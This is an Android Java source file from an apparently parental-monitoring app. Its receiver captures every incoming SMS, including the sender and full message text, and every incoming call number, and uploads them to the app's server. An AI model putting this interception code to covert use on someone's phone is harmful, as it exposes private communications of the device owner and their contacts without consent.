package com.parentalmonitor.child.receivers;

import android.content.*;
import android.telephony.*;
import com.parentalmonitor.child.api.ApiClient;
import org.json.JSONObject;

public class CallSmsReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context ctx, Intent intent) {
        String action = intent.getAction();
        try {
            if ("android.provider.Telephony.SMS_RECEIVED".equals(action)) {
                handleSms(ctx, intent);
            } else if (TelephonyManager.ACTION_PHONE_STATE_CHANGED.equals(action)) {
                handleCall(ctx, intent);
            }
        } catch (Exception e) { e.printStackTrace(); }
    }

    private void handleSms(Context ctx, Intent intent) throws Exception {
        android.os.Bundle bundle = intent.getExtras();
        if (bundle == null) return;
        Object[] pdus = (Object[]) bundle.get("pdus");
        if (pdus == null) return;
        for (Object pdu : pdus) {
            SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu, bundle.getString("format"));
            JSONObject data = new JSONObject();
            data.put("device_id", ApiClient.getInstance(ctx).getDeviceId());
            data.put("type", "incoming");
            data.put("address", sms.getOriginatingAddress());
            data.put("body", sms.getMessageBody());
            data.put("timestamp", System.currentTimeMillis());
            ApiClient.getInstance(ctx).postAsync("/api/calls-sms/sync", data, null);
        }
    }

    private void handleCall(Context ctx, Intent intent) throws Exception {
        String state = intent.getStringExtra(TelephonyManager.EXTRA_STATE);
        String number = intent.getStringExtra(TelephonyManager.EXTRA_INCOMING_NUMBER);
        if (number == null) return;
        JSONObject data = new JSONObject();
        data.put("device_id", ApiClient.getInstance(ctx).getDeviceId());
        data.put("phone_number", number);
        data.put("call_type", "incoming");
        data.put("state", state);
        data.put("timestamp", System.currentTimeMillis());
        ApiClient.getInstance(ctx).postAsync("/api/calls-sms/sync", data, null);
    }
}
